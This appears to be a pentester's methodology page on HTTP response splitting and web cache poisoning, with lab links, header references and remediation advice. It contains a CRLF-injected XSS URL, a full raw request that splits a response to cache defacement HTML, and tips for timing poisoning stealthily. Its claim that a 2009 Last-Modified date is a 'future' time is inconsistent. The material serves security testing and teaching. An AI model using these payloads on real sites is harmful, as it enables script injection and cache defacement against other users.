HTTP Response Splitting / Web Cache Poisoning

💡 See labs WebSecurityAcademy (PortSwigger) – Web cache poisoning.

💡 See labs WebSecurityAcademy (PortSwigger) – HTTP request smuggling (Exploiting HTTP request smuggling to perform web cache poisoning).

HTTP response splitting is a form of web application vulnerability, resulting from the failure of the application or its environment to properly sanitize input values. It can be used to perform cross-site scripting attacks, cross-user defacement, web cache poisoning, and similar exploits.

The attack consists of making the server print a carriage return (CR, ASCII 0x0D) line feed (LF, ASCII 0x0A) sequence followed by content supplied by the attacker in the header section of its response, typically by including them in input fields sent to the application. Per the HTTP standard (RFC 2616), headers are separated by one CRLF and the response’s headers are separated from its body by two. Therefore, the failure to remove CRs and LFs allows the attacker to set arbitrary headers, take control of the body, or break the response into two or more separate responses.

The data should be validated by the application before it’s trusted and processed. The goal of testing is to verify if the application actually performs validation and does not trust its input.

Example – XSS

someurl?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>

Reporting

  • CVSS Score: 6.5
  • Remediation: The generic solution is to URL-encode strings before inclusion into HTTP headers such as Location or Set-Cookie.

Web Cache Poisoning

The objective of web cache poisoning is to send a request that causes a harmful response that gets saved in the cache and served to other users. Use Param Miner Burp extension to guess header/cookie names, and observing whether they have an effect on the application’s response.

  1. Work out how to elicit a response from the back-end server that inadvertently contains some kind of dangerous payload.
  2. Make sure that their response is cached and subsequently served to the intended victims

💡 Do NOT poison everybody else’s cache! Add a cache buster (such as a unique parameter, like “?cachebuster=123”) to the request line each time you make a request. Alternatively, if you are using Param Miner, there are options for automatically adding a cache buster to every request.

Cache-control directives

Sometimes you can get information about when the cache will expire so you can be stealthier.

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800

HTTP Headers

HTTP Request HeaderDescription
Pragma: no-cache
Cache-Control: no-cache
Remove response from cache.
If-Modified-SinceThe request is conditional: the server will send back the requested resource, with a 200 status, only if it has been last modified after the given date.
If the request has not been modified since, the response will be a 304 without any body.
Unlike If-Unmodified-Since, it can only be used with a GET or HEAD. When used in combination with If-None-Match, it is ignored, unless the server doesn’t support If-None-Match.
HTTP Response HeaderDescription
Age
(HTTP/1.1)
Estimated age (in seconds) of the response message when obtained from a cache.
Estimated time since the response was generated or revalidated by the origin server.
The presence of an Age header in a response implies that a response is not first-hand (cached).
If unsynchronized clocks make this calculation resulting in a negative difference, an age of 0 is used.
ETag Checked by the If-None-Match header.
Last-ModifiedDate of last modification of the previous request.
Checked by the If-Modified-Since request header.

Remove response from cache

HTTP header fields Pragma: no-cache or Cache-Control: no-cache will remove the page from cache (if the page is stored in cache, obviously).

GET /index.html HTTP/1.1
Host: somehost
Pragma: no-cache
Cache-Control: no-cache
...

Stealthy approach

Predict when the cache will expire with Age and max-age response headers. Be the first to send the request when it expires.

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800

Noisy approach

Use Burp Intruder or custom script to send the request until the cache expires and the response if changed.

HTTP Response Splitting

Using HTTP Response Splitting we force cache server to generate two responses to one request.

GET /redir.php?site=%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-
Modified:%20Mon,%2027%20Oct%202009%2014:50:18%20GMT%0d%0aConte
nt-Length:%2020%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a<html>deface!</html> HTTP/1.1
Host: somehost
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

We are intentionally setting the future time (in the header it’s set to 27 October 2009) in the second response HTTP header “Last-Modified” to store the response in the cache.

sending request for the page, which we want to replace in the cache of the server

GET /index.html HTTP/1.1
Host: somehost
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

In theory, the cache server should match the second answer from the request #2 to the request #3. In this way we’ve replaced the cache content.

The rest of the requests should be executed during one connection (if the cache server doesn’t require a more sophisticated method to be used), possibly immediately one after another.